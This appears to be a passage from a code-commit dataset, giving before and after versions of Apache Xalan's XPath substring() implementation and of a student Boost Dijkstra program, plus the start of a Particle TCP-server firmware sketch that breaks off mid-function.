XalanDOMString\t\ttheEmptyString;\n\n\ninline XObjectPtr\ncreateEmptyString(XPathExecutionContext&\texecutionContext)\n{\n\treturn executionContext.getXObjectFactory().createString(theEmptyString);\n}\n\n\n\nXObjectPtr\nFunctionSubstring::execute(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tXalanNode*\t\t\t\tcontext,\n\t\t\tconst XObjectPtr\t\targ1,\n\t\t\tconst XObjectPtr\t\targ2,\n\t\t\tconst Locator*\t\t\tlocator) const\n{\n\tassert(arg1.null() == false && arg2.null() == false);\n\n\treturn execute(executionContext, context, arg1, arg2, s_nullXObjectPtr, locator);\n}\n\n\n\nXObjectPtr\nFunctionSubstring::execute(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\/* context *\/,\n\t\t\tconst XObjectPtr\t\targ1,\n\t\t\tconst XObjectPtr\t\targ2,\n\t\t\tconst XObjectPtr\t\targ3,\n\t\t\tconst Locator*\t\t\t\/* locator *\/) const\n{\n\tassert(arg1.null() == false && arg2.null() == false);\t\n\n\tconst XalanDOMString&\t\t\t\ttheSourceString = arg1->str();\n\tconst XalanDOMString::size_type\t\ttheSourceStringLength = length(theSourceString);\n\n\tif (theSourceStringLength == 0)\n\t{\n\t\treturn createEmptyString(executionContext);\n\t}\n\telse\n\t{\n\t\t\/\/ Get the value of the second argument...\n\t\tconst double\ttheSecondArgValue =\n\t\t\tDoubleSupport::round(arg2->num());\n\n\t\t\/\/ XPath indexes from 1, so this is the first XPath index....\n\t\tconst XalanDOMString::size_type\t\ttheStartIndex = getStartIndex(theSecondArgValue);\n\n\t\tif (theStartIndex >= theSourceStringLength)\n\t\t{\n\t\t\treturn createEmptyString(executionContext);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconst double\ttheTotal =\n\t\t\t\tgetTotal(theSourceStringLength, theSecondArgValue, arg3);\n\n\t\t\tif (DoubleSupport::isNaN(theSecondArgValue) == true ||\n\t\t\t\tDoubleSupport::isNaN(theTotal) == true ||\n\t\t\t\tDoubleSupport::isNegativeInfinity(theTotal) == true ||\n\t\t\t\ttheTotal < double(theStartIndex))\n\t\t\t{\n\t\t\t\treturn createEmptyString(executionContext);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconst XalanDOMString::size_type\t\ttheSubstringLength =\n\t\t\t\t\tgetSubstringLength(\n\t\t\t\t\t\ttheSourceStringLength,\n\t\t\t\t\t\ttheStartIndex,\n\t\t\t\t\t\ttheTotal);\n\n\t\t\t\tXPathExecutionContext::GetAndReleaseCachedString\ttheResult(executionContext);\n\n\t\t\t\tXalanDOMString&\t\ttheString = theResult.get();\n\n\t\t\t\tassign(\n\t\t\t\t\t\ttheString,\n\t\t\t\t\t\ttoCharArray(theSourceString) + theStartIndex,\n\t\t\t\t\t\ttheSubstringLength);\n\n\t\t\t\treturn executionContext.getXObjectFactory().createString(theResult);\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\nFunction*\n#else\nFunctionSubstring*\n#endif\nFunctionSubstring::clone() const\n{\n\treturn new FunctionSubstring(*this);\n}\n\n\n\nconst XalanDOMString\nFunctionSubstring::getError() const\n{\n\treturn StaticStringToDOMString(XALAN_STATIC_UCODE_STRING(\"The substring() function takes two or three arguments!\"));\n}\nFixed 64-bit HP problem.\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * .\n *\/\n#include \"FunctionSubstring.hpp\"\n\n\n\n#include \n\n\n\n#include \"XObjectFactory.hpp\"\n\n\n\nconst XObjectPtr\t\tFunctionSubstring::s_nullXObjectPtr;\n\n\n\nFunctionSubstring::FunctionSubstring()\n{\n}\n\n\n\nFunctionSubstring::~FunctionSubstring()\n{\n}\n\n\n\n\/*\n * Get the value for the start index (C-style, not XPath).\n *\/\ninline XalanDOMString::size_type\ngetStartIndex(\n\t\t\tdouble\t\t\t\t\t\ttheSecondArgValue,\n\t\t\tXalanDOMString::size_type\ttheStringLength)\n{\n\t\/\/ We always subtract 1 for C-style index, since XPath indexes from 1.\n\t\n\t\/\/ Anything less than, or equal to 1 is 0.\n\tif (theSecondArgValue <= 1 ||\n\t\tDoubleSupport::isNaN(theSecondArgValue) == true)\n\t{\n\t\treturn 0;\n\t}\n\telse if (DoubleSupport::isPositiveInfinity(theSecondArgValue) == true)\n\t{\n\t\treturn theStringLength;\n\t}\n\telse\n\t{\n\t\treturn XalanDOMString::size_type(DoubleSupport::round(theSecondArgValue)) - 1;\n\t}\n}\n\n\n\n\/*\n * Get the length of the substring.\n *\/\ninline XalanDOMString::size_type\ngetSubstringLength(\n\t\t\tXalanDOMString::size_type\ttheSourceStringLength,\n\t\t\tXalanDOMString::size_type\ttheStartIndex,\n\t\t\tdouble\t\t\t\t\t\ttheThirdArgValue)\n{\n\t\/\/ The last index must be less than theThirdArgValue. Since it has\n\t\/\/ already been rounded, subtracting 1 will do the job.\n\tconst XalanDOMString::size_type\t\ttheLastIndex = XalanDOMString::size_type(theThirdArgValue - 1);\n\n\tif (theLastIndex >= theSourceStringLength)\n\t{\n\t\treturn theSourceStringLength - theStartIndex;\n\t}\n\telse\n\t{\n\t\treturn theLastIndex - theStartIndex;\n\t}\n}\n\n\n\n\/*\n * Get the total of the second and third arguments.\n *\/\ninline double\ngetTotal(\n\t\t\tXalanDOMString::size_type\ttheSourceStringLength,\n\t\t\tdouble\t\t\t\t\t\ttheSecondArgValue,\n\t\t\tconst XObjectPtr&\t\t\targ3)\n{\n\t\/\/ Total the second and third arguments. Ithe third argument is\n\t\/\/ missing, make it the length of the string + 1 (for XPath\n\t\/\/ indexing style).\n\tif (arg3.null() == true)\n\t{\n\t\treturn double(theSourceStringLength + 1);\n\t}\n\telse\n\t{\n\t\tconst double\ttheRoundedValue =\n\t\t\tDoubleSupport::round(theSecondArgValue + arg3->num());\n\n\t\t\/\/ If there's overflow, then we should return the length of the string + 1.\n\t\tif (DoubleSupport::isPositiveInfinity(theRoundedValue) == true)\n\t\t{\n\t\t\treturn double(theSourceStringLength + 1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn theRoundedValue;\n\t\t}\n\t}\n}\n\n\n\nstatic const XalanDOMString\t\ttheEmptyString;\n\n\ninline XObjectPtr\ncreateEmptyString(XPathExecutionContext&\texecutionContext)\n{\n\treturn executionContext.getXObjectFactory().createString(theEmptyString);\n}\n\n\n\nXObjectPtr\nFunctionSubstring::execute(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tXalanNode*\t\t\t\tcontext,\n\t\t\tconst XObjectPtr\t\targ1,\n\t\t\tconst XObjectPtr\t\targ2,\n\t\t\tconst Locator*\t\t\tlocator) const\n{\n\tassert(arg1.null() == false && arg2.null() == false);\n\n\treturn execute(executionContext, context, arg1, arg2, s_nullXObjectPtr, locator);\n}\n\n\n\nXObjectPtr\nFunctionSubstring::execute(\n\t\t\tXPathExecutionContext&\texecutionContext,\n\t\t\tXalanNode*\t\t\t\t\/* context *\/,\n\t\t\tconst XObjectPtr\t\targ1,\n\t\t\tconst XObjectPtr\t\targ2,\n\t\t\tconst XObjectPtr\t\targ3,\n\t\t\tconst Locator*\t\t\t\/* locator *\/) const\n{\n\tassert(arg1.null() == false && arg2.null() == false);\t\n\n\tconst XalanDOMString&\t\t\t\ttheSourceString = arg1->str();\n\tconst XalanDOMString::size_type\t\ttheSourceStringLength = length(theSourceString);\n\n\tif (theSourceStringLength == 0)\n\t{\n\t\treturn createEmptyString(executionContext);\n\t}\n\telse\n\t{\n\t\t\/\/ Get the value of the second argument...\n\t\tconst double\ttheSecondArgValue =\n\t\t\tDoubleSupport::round(arg2->num());\n\n\t\t\/\/ XPath indexes from 1, so this is the first XPath index....\n\t\tconst XalanDOMString::size_type\t\ttheStartIndex = getStartIndex(theSecondArgValue, theSourceStringLength);\n\n\t\tif (theStartIndex >= theSourceStringLength)\n\t\t{\n\t\t\treturn createEmptyString(executionContext);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconst double\ttheTotal =\n\t\t\t\tgetTotal(theSourceStringLength, theSecondArgValue, arg3);\n\n\t\t\tif (DoubleSupport::isNaN(theSecondArgValue) == true ||\n\t\t\t\tDoubleSupport::isNaN(theTotal) == true ||\n\t\t\t\tDoubleSupport::isNegativeInfinity(theTotal) == true ||\n\t\t\t\ttheTotal < double(theStartIndex))\n\t\t\t{\n\t\t\t\treturn createEmptyString(executionContext);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconst XalanDOMString::size_type\t\ttheSubstringLength =\n\t\t\t\t\tgetSubstringLength(\n\t\t\t\t\t\ttheSourceStringLength,\n\t\t\t\t\t\ttheStartIndex,\n\t\t\t\t\t\ttheTotal);\n\n\t\t\t\tXPathExecutionContext::GetAndReleaseCachedString\ttheResult(executionContext);\n\n\t\t\t\tXalanDOMString&\t\ttheString = theResult.get();\n\n\t\t\t\tassign(\n\t\t\t\t\t\ttheString,\n\t\t\t\t\t\ttoCharArray(theSourceString) + theStartIndex,\n\t\t\t\t\t\ttheSubstringLength);\n\n\t\t\t\treturn executionContext.getXObjectFactory().createString(theResult);\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n\n#if defined(XALAN_NO_COVARIANT_RETURN_TYPE)\nFunction*\n#else\nFunctionSubstring*\n#endif\nFunctionSubstring::clone() const\n{\n\treturn new FunctionSubstring(*this);\n}\n\n\n\nconst XalanDOMString\nFunctionSubstring::getError() const\n{\n\treturn StaticStringToDOMString(XALAN_STATIC_UCODE_STRING(\"The substring() function takes two or three arguments!\"));\n}\n<|endoftext|>"} {"text":"\/**\n * @file \tex6.cpp\n * @author \tFabian Wegscheider\n * @date \tJun 20, 2017\n *\/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace boost;\nnamespace po = boost::program_options;\n\ntypedef adjacency_list> Graph;\ntypedef graph_traits::vertex_descriptor Vertex;\ntypedef pair Edge;\ntypedef pair Pair;\ntypename graph_traits::out_edge_iterator out_i, out_end;\n\n\n\/*\n * Data that is stored in one node of a heap. Contains an integer and a double.\n * Comparisons are made by the double, smaller has higher priority\n *\/\nstruct heap_data\n{\n heap::fibonacci_heap::handle_type handle;\n Pair pair;\n\n heap_data(Pair p):\n pair(p)\n {}\n\n bool operator<(heap_data const & rhs) const {\n return pair.second > rhs.pair.second;\n }\n};\n\n\nusing Heap = heap::fibonacci_heap;\n\n\/**\n * My own implementation of Dijkstra using a fibonacci heap from boost\n * @param g the graph which is an adjacency_list from boost\n * @param numVertices the number of vertices in g\n * @param source the source node for Dijkstra\n * @return vector of resulting distances to source\n *\/\nvector myDijkstra(Graph g, int numVertices, int source) {\n\n\tvector distances(numVertices);\n\tdistances[0] = 0;\n\n\tHeap heap;\n\n\tHeap::handle_type *handles = new Heap::handle_type[numVertices];\n\thandles[0] = heap.push(make_pair(0,0.));\n\n\t\/\/initialization of the heap\n\tfor (int i = 1; i < numVertices; ++i) {\n\t\thandles[i] = heap.push(make_pair(i, numeric_limits::infinity()));\n\t\tdistances[i] = numeric_limits::infinity();\n\t}\n\n\tproperty_map::type weights = get(edge_weight, g);\n\tproperty_map::type index = get(vertex_index, g);\n\n\n\t\/\/the actual algorithm\n\twhile (!heap.empty()) {\n\t\tPair min = heap.top().pair;\n\t\theap.pop();\n\t\tfor (tie(out_i, out_end) = out_edges(*(vertices(g).first+min.first), g);\n\t\t\t\tout_i != out_end; ++out_i) {\n\t\t\tdouble tmp = min.second + weights[*out_i];\n\t\t\tint targetIndex = index[target(*out_i, g)];\n\t\t\tif (tmp < distances[targetIndex]) {\n\t\t\t\tdistances[targetIndex] = tmp;\n\t\t\t\t(*handles[targetIndex]).pair.second = tmp;\n\t\t\t\theap.increase(handles[targetIndex]);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn distances;\n}\n\/\/\t\tsplit(parts, line, is_any_of(\" \"));\n\/\/\t\tif (parts.size() != 3) {\n\/\/\t\t\tcerr << \"error in line \" << (i+2) << \": line should consists of \"\n\/\/\t\t\t\t\t\"two integers and a double!\" << endl;\n\/\/\t\t\texit(EXIT_FAILURE);\n\/\/\t\t}\n\n\/**\n * main function which reads a graph from a .gph file, then calculates shortest\n * paths from all vertices to the first vertex with the dijsktra algorithm\n * and prints the furthest vertex together with its distance\n * to the standard output\n * @param numargs number of inputs on command line\n * @param args array of * inputs on command line\n * @return whether the function operated successfully\n *\/\nint main(int numargs, char *args[]) {\n\n\ttimer::cpu_timer t;\n\tbool useOwnMethod;\n\n\t\/*parsing command line options*\/\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t\t\t(\"help,h\", \"produce help message\")\n\t\t\t(\"m1\", \"use my own dijkstra method\")\n\t\t\t(\"m2\", \"use dijkstra method from boost\")\n\t\t\t(\"input-file\", po::value< string >(), \"input file\");\n\tpo::positional_options_description p;\n\tp.add(\"input-file\", -1);\n\tpo::variables_map vm;\n\tpo::store(po::command_line_parser(numargs, args).\n\t\t\toptions(desc).positional(p).run(), vm);\n\tpo::notify(vm);\n\n\tif (vm.count(\"help\")) {\n\t cout << desc << \"\\n\";\n\t \texit(EXIT_SUCCESS);\n\t}\n\n\tif (vm.count(\"m1\") && !vm.count(\"m2\")) {\n\t\tuseOwnMethod = true;\n\t\tcout << \"using my own method for calculation...\" << endl << endl;\n\t} else if (vm.count(\"m2\") && !vm.count(\"m1\")) {\n\t\tuseOwnMethod = false;\n\t\tcout << \"using boost method for calculation...\" << endl << endl;\n\t} else {\n\t\tcerr << \"please specify the method you want to use (type -h for help)\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tstring input;\n\tif (vm.count(\"input-file\")) {\n\t input = vm[\"input-file\"].as< string >();\n\t} else {\n\t\tcerr << \"please specify an input file in the .gph format\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\t\/*end of parsing command line options*\/\n\n\n\tifstream inputFile;\n\tinputFile.open(input);\t\t\t\t\t\t\t\/\/trying to read file\n\tif (inputFile.fail()) {\n\t\tcerr << \"file could not be read\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tint numVertices;\n\tint numEdges;\n\n\tstring line;\n\tgetline(inputFile, line);\t\t\t\t\t\/\/first line is read\n\tvector parts;\n\tsplit(parts, line, is_any_of(\" \"));\n\n\tif (parts.size() != 2) {\n\t\tcerr << \"error in file: first line should consist of two integers!\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\ttry {\n\t\tnumVertices = stoi(parts[0]);\t\t\/\/information from the first line\n\t\tnumEdges = stoi(parts[1]);\t\t\t\/\/are stored\n\t} catch (...) {\n\t\tcerr << \"error in file: first line should consist of two integers!\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tEdge *edges = new Edge[numEdges];\t\t\t\/\/in these arrays all information about\n\tdouble *weights = new double[numEdges];\t\t\/\/the edges are stored\n\n\tint i = 0;\n\n\tusing namespace boost::spirit;\n\tusing qi::int_;\n\tusing qi::double_;\n\tusing qi::phrase_parse;\n\tusing ascii::space;\n\n\t\/\/read line by line using boost to parse each line to int,int,double\n\twhile (getline(inputFile, line)) {\n\t\ttry {\n\t\t\tauto it = line.begin();\n\t\t\tint start;\n\t\t\tint end;\n\t\t\tdouble weight;\n\t\t\tbool success = phrase_parse(it, line.end(),\n\t\t\t\t\tint_[([&start](int j){ start = j; })]\n\t\t\t\t\t>> int_[([&end](int j){ end = j; })]\n\t\t\t\t\t>> double_[([&weight](double j){ weight = j; })], space);\n\t\t\tif (success && it == line.end()) {\n\t\t\t\tedges[i] = Edge(start-1, end-1);\n\t\t\t\tweights[i] = weight;\n\t\t\t} else {\n\t\t\t\tcerr << \"error in line \" << (i+2) << \": line should consists of \"\n\t\t\t\t\t\t\"two integers and a double!\" << endl;\n\t\t\t\texit(EXIT_FAILURE);\n\t\t\t}\n\t\t} catch(...) {\n\t\t\tcerr << \"error in line \" << (i+2) << \": line should consists of \"\n\t\t\t\t\t\"two integers and a double!\" << endl;\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\t++i;\n\t}\n\n\t\/\/undirected graph is constructed with all edges and their weights\n\tGraph g(edges, edges + numEdges , weights, numVertices);\n\n\t\/\/in this vector the resulting distances from dijkstra are stored\n\tvector distances;\n\n\t\/\/call of dijsktra depending on chosen option\n\tif (!useOwnMethod) {\n\t\tdistances.resize(numVertices);\n\t\tdijkstra_shortest_paths(g, *(vertices(g).first), distance_map(&distances[0]));\n\t} else {\n\t\tdistances = myDijkstra(g, numVertices, 0);\n\t}\n\n\tdouble maxDist = 0;\n\tint maxIdx = 0;\n\n\t\/\/search for furthest vertex\n\tfor (int i = 1; i < numVertices; i++) {\n\t\tdouble tmp = distances[i];\n\t\t\tif (tmp > maxDist) {\n\t\t\t\tmaxDist = tmp;\n\t\t\t\tmaxIdx = i;\n\t\t\t}\n\t}\n\n\t\/\/results are printed to command line\n\tcout << \"RESULT VERTEX \" << (maxIdx+1) << endl;\n\tcout << \"RESULT DIST \" << maxDist << endl;\n\tcout << endl << \"running time: \" << t.format() << endl;\n\n\n\texit(EXIT_SUCCESS);\n}\n\n\n\nfixed another bug\/**\n * @file \tex6.cpp\n * @author \tFabian Wegscheider\n * @date \tJun 20, 2017\n *\/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace boost;\nnamespace po = boost::program_options;\n\ntypedef adjacency_list> Graph;\ntypedef graph_traits::vertex_descriptor Vertex;\ntypedef pair Edge;\ntypedef pair Pair;\ntypename graph_traits::out_edge_iterator out_i, out_end;\n\n\n\/**\n * Data that is stored in one node of a heap. Contains an integer and a double.\n * Comparisons are made by the double, smaller has higher priority\n *\/\nstruct heap_data\n{\n heap::fibonacci_heap::handle_type handle;\n Pair pair;\n\n heap_data(Pair p):\n pair(p)\n {}\n\n bool operator<(heap_data const & rhs) const {\n return pair.second > rhs.pair.second;\n }\n};\n\n\nusing Heap = heap::fibonacci_heap;\n\n\/**\n * My own implementation of Dijkstra using a fibonacci heap from boost\n * @param g the graph which is an adjacency_list from boost\n * @param numVertices the number of vertices in g\n * @param source the source node for Dijkstra\n * @return vector of resulting distances to source\n *\/\nvector myDijkstra(Graph g, int numVertices, int source) {\n\n\tvector distances(numVertices);\n\tdistances[0] = 0;\n\n\tHeap heap;\n\n\tHeap::handle_type *handles = new Heap::handle_type[numVertices];\n\thandles[0] = heap.push(make_pair(0,0.));\n\n\t\/\/initialization of the heap\n\tfor (int i = 1; i < numVertices; ++i) {\n\t\thandles[i] = heap.push(make_pair(i, numeric_limits::infinity()));\n\t\tdistances[i] = numeric_limits::infinity();\n\t}\n\n\tproperty_map::type weights = get(edge_weight, g);\n\tproperty_map::type index = get(vertex_index, g);\n\n\n\t\/\/the actual algorithm\n\twhile (!heap.empty()) {\n\t\tPair min = heap.top().pair;\n\t\theap.pop();\n\t\tfor (tie(out_i, out_end) = out_edges(*(vertices(g).first+min.first), g);\n\t\t\t\tout_i != out_end; ++out_i) {\n\t\t\tdouble tmp = min.second + weights[*out_i];\n\t\t\tint targetIndex = index[target(*out_i, g)];\n\t\t\tif (tmp < distances[targetIndex]) {\n\t\t\t\tdistances[targetIndex] = tmp;\n\t\t\t\t(*handles[targetIndex]).pair.second = tmp;\n\t\t\t\theap.increase(handles[targetIndex]);\n\t\t\t}\n\t\t}\n\t}\n\n\tdelete[] handles;\n\treturn distances;\n}\n\n\n\/**\n * main function which reads a graph from a .gph file, then calculates shortest\n * paths from all vertices to the first vertex with the dijsktra algorithm\n * and prints the furthest vertex together with its distance\n * to the standard output\n * @param numargs number of inputs on command line\n * @param args array of * inputs on command line\n * @return whether the function operated successfully\n *\/\nint main(int numargs, char *args[]) {\n\n\ttimer::cpu_timer t;\n\tbool useOwnMethod;\n\n\t\/*parsing command line options*\/\n\tpo::options_description desc(\"Allowed options\");\n\tdesc.add_options()\n\t\t\t(\"help,h\", \"produce help message\")\n\t\t\t(\"m1\", \"use my own dijkstra method\")\n\t\t\t(\"m2\", \"use dijkstra method from boost\")\n\t\t\t(\"input-file\", po::value< string >(), \"input file\");\n\tpo::positional_options_description p;\n\tp.add(\"input-file\", -1);\n\tpo::variables_map vm;\n\tpo::store(po::command_line_parser(numargs, args).\n\t\t\toptions(desc).positional(p).run(), vm);\n\tpo::notify(vm);\n\n\tif (vm.count(\"help\")) {\n\t cout << desc << \"\\n\";\n\t \texit(EXIT_SUCCESS);\n\t}\n\n\tif (vm.count(\"m1\") && !vm.count(\"m2\")) {\n\t\tuseOwnMethod = true;\n\t\tcout << \"using my own method for calculation...\" << endl << endl;\n\t} else if (vm.count(\"m2\") && !vm.count(\"m1\")) {\n\t\tuseOwnMethod = false;\n\t\tcout << \"using boost method for calculation...\" << endl << endl;\n\t} else {\n\t\tcerr << \"please specify the method you want to use (type -h for help)\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tstring input;\n\tif (vm.count(\"input-file\")) {\n\t input = vm[\"input-file\"].as< string >();\n\t} else {\n\t\tcerr << \"please specify an input file in the .gph format\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\t\/*end of parsing command line options*\/\n\n\n\tifstream inputFile;\n\tinputFile.open(input);\t\t\t\t\t\t\t\/\/trying to read file\n\tif (inputFile.fail()) {\n\t\tcerr << \"file could not be read\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tint numVertices;\n\tint numEdges;\n\n\tstring line;\n\tgetline(inputFile, line);\t\t\t\t\t\/\/first line is read\n\tvector parts;\n\tsplit(parts, line, is_any_of(\" \"));\n\n\tif (parts.size() != 2) {\n\t\tcerr << \"error in file: first line should consist of two integers!\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\ttry {\n\t\tnumVertices = stoi(parts[0]);\t\t\/\/information from the first line\n\t\tnumEdges = stoi(parts[1]);\t\t\t\/\/are stored\n\t} catch (...) {\n\t\tcerr << \"error in file: first line should consist of two integers!\" << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tEdge *edges = new Edge[numEdges];\t\t\t\/\/in these arrays all information about\n\tdouble *weights = new double[numEdges];\t\t\/\/the edges are stored\n\n\tint i = 0;\n\n\tusing namespace boost::spirit;\n\tusing qi::int_;\n\tusing qi::double_;\n\tusing qi::phrase_parse;\n\tusing ascii::space;\n\n\t\/\/read line by line using boost to parse each line to int,int,double\n\twhile (getline(inputFile, line)) {\n\t\ttry {\n\t\t\tauto it = line.begin();\n\t\t\tint start;\n\t\t\tint end;\n\t\t\tdouble weight;\n\t\t\tbool success = phrase_parse(it, line.end(),\n\t\t\t\t\tint_[([&start](int j){ start = j; })]\n\t\t\t\t\t>> int_[([&end](int j){ end = j; })]\n\t\t\t\t\t>> double_[([&weight](double j){ weight = j; })], space);\n\t\t\tif (success && it == line.end()) {\n\t\t\t\tedges[i] = Edge(start-1, end-1);\n\t\t\t\tweights[i] = weight;\n\t\t\t} else {\n\t\t\t\tcerr << \"error in line \" << (i+2) << \": line should consists of \"\n\t\t\t\t\t\t\"two integers and a double!\" << endl;\n\t\t\t\texit(EXIT_FAILURE);\n\t\t\t}\n\t\t} catch(...) {\n\t\t\tcerr << \"error in line \" << (i+2) << \": line should consists of \"\n\t\t\t\t\t\"two integers and a double!\" << endl;\n\t\t\texit(EXIT_FAILURE);\n\t\t}\n\t\t++i;\n\t}\n\n\t\/\/undirected graph is constructed with all edges and their weights\n\tGraph g(edges, edges + numEdges , weights, numVertices);\n\n\t\/\/in this vector the resulting distances from dijkstra are stored\n\tvector distances;\n\n\t\/\/call of dijsktra depending on chosen option\n\tif (!useOwnMethod) {\n\t\tdistances.resize(numVertices);\n\t\tdijkstra_shortest_paths(g, *(vertices(g).first), distance_map(&distances[0]));\n\t} else {\n\t\tdistances = myDijkstra(g, numVertices, 0);\n\t}\n\n\tdouble maxDist = 0;\n\tint maxIdx = 0;\n\n\t\/\/search for furthest vertex\n\tfor (int i = 1; i < numVertices; i++) {\n\t\tdouble tmp = distances[i];\n\t\t\tif (tmp > maxDist) {\n\t\t\t\tmaxDist = tmp;\n\t\t\t\tmaxIdx = i;\n\t\t\t}\n\t}\n\n\t\/\/results are printed to command line\n\tcout << \"RESULT VERTEX \" << (maxIdx+1) << endl;\n\tcout << \"RESULT DIST \" << maxDist << endl;\n\tcout << endl << \"running time: \" << t.format() << endl;\n\n\tdelete[] edges;\n\tdelete[] weights;\n\n\texit(EXIT_SUCCESS);\n}\n\n\n\n<|endoftext|>"} {"text":"#include \"application.h\"\n#include \n\nSYSTEM_MODE(MANUAL);\nSYSTEM_THREAD(ENABLED);\nSerialLogHandler traceLog(LOG_LEVEL_TRACE);\n\nstatic TCPServer tcpServer = TCPServer(6666);\nstatic TCPClient tcpClient;\n\n\n\/\/ Toggle LED pin to see that application loop is not blocked.\n\/\/ You could use D7 when testing with a Photon.\n\/\/ I'm using another pin here, because D7 is one of the SWD pins used by the debugger\nconst int LED_PIN = P1S0;\n\nenum tcp_state_enum {\n RUNNING_FINE,\n OH_NO_ITS_BORKED_PARTICLE,\n STOPPED,\n ALLOWED_TO_RESTART,\n};\n\nvolatile uint8_t tcp_state;\n\nvoid stopTcp(){\n tcpServer.stop();\n tcpClient.stop();\n Serial.print(\"TCP server stopped\\n\");\n}\n\nvoid startTcp(){\n tcpServer.begin();\n Serial.print(\"TCP server started\\n\");\n}\n\n\n\nvoid handle_network_events(system_event_t event, int param){\n switch(param){\n case network_status_powering_on:\n break;\n case network_status_on:\n break;\n case network_status_powering_off:\n break;\n case network_status_off:\n break;\n case network_status_connecting:\n \/\/ set a flag to restart the TCP server, outside of the system thread\n \/\/ restarting it here doesn't work\n \/\/ leaving it running doesn't work\n SINGLE_THREADED_BLOCK(){\n tcp_state = tcp_state_enum::OH_NO_ITS_BORKED_PARTICLE;\n }\n break;\n case network_status_connected:\n SINGLE_THREADED_BLOCK(){\n tcp_state = tcp_state_enum::ALLOWED_TO_RESTART;\n }\n break;\n default:\n break;\n }\n}\n\nvoid handle_cloud_events(system_event_t event, int param){\n switch(param){\n case cloud_status_connecting:\n break;\n case cloud_status_connected:\n break;\n case cloud_status_disconnecting:\n break;\n case cloud_status_disconnected:\n break;\n default:\n break;\n }\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(LED_PIN, OUTPUT);\n\n WiFi.connect(WIFI_CONNECT_SKIP_LISTEN);\n\n System.on(network_status, handle_network_events);\n System.on(cloud_status, handle_cloud_events);\n tcp_state = tcp_state_enum::ALLOWED_TO_RESTART;\n}\n\nvoid loop() {\n static uint32_t last_update = millis();\n static uint32_t lastLedToggle = millis();\n\n switch(tcp_state){\n case tcp_state_enum::RUNNING_FINE:\n break;\n case tcp_state_enum::OH_NO_ITS_BORKED_PARTICLE:\n Serial.print(\"Stopping TCP\\n\");\n SINGLE_THREADED_BLOCK(){\n tcp_state = tcp_state_enum::STOPPED;\n }\n stopTcp();\n break;\n case tcp_state_enum::ALLOWED_TO_RESTART:\n Serial.print(\"Restarting TCP\\n\");\n startTcp();\n SINGLE_THREADED_BLOCK(){\n tcp_state = tcp_state_enum::RUNNING_FINE; \/\/ assume it is running fine afterwards\n }\n break;\n\n }\n\n if(tcp_state == tcp_state_enum::RUNNING_FINE){\n if(tcpClient.status()){\n while (tcpClient.available() > 0) {\n char inByte = tcpClient.read();\n switch(inByte){\n case ' ':\n case 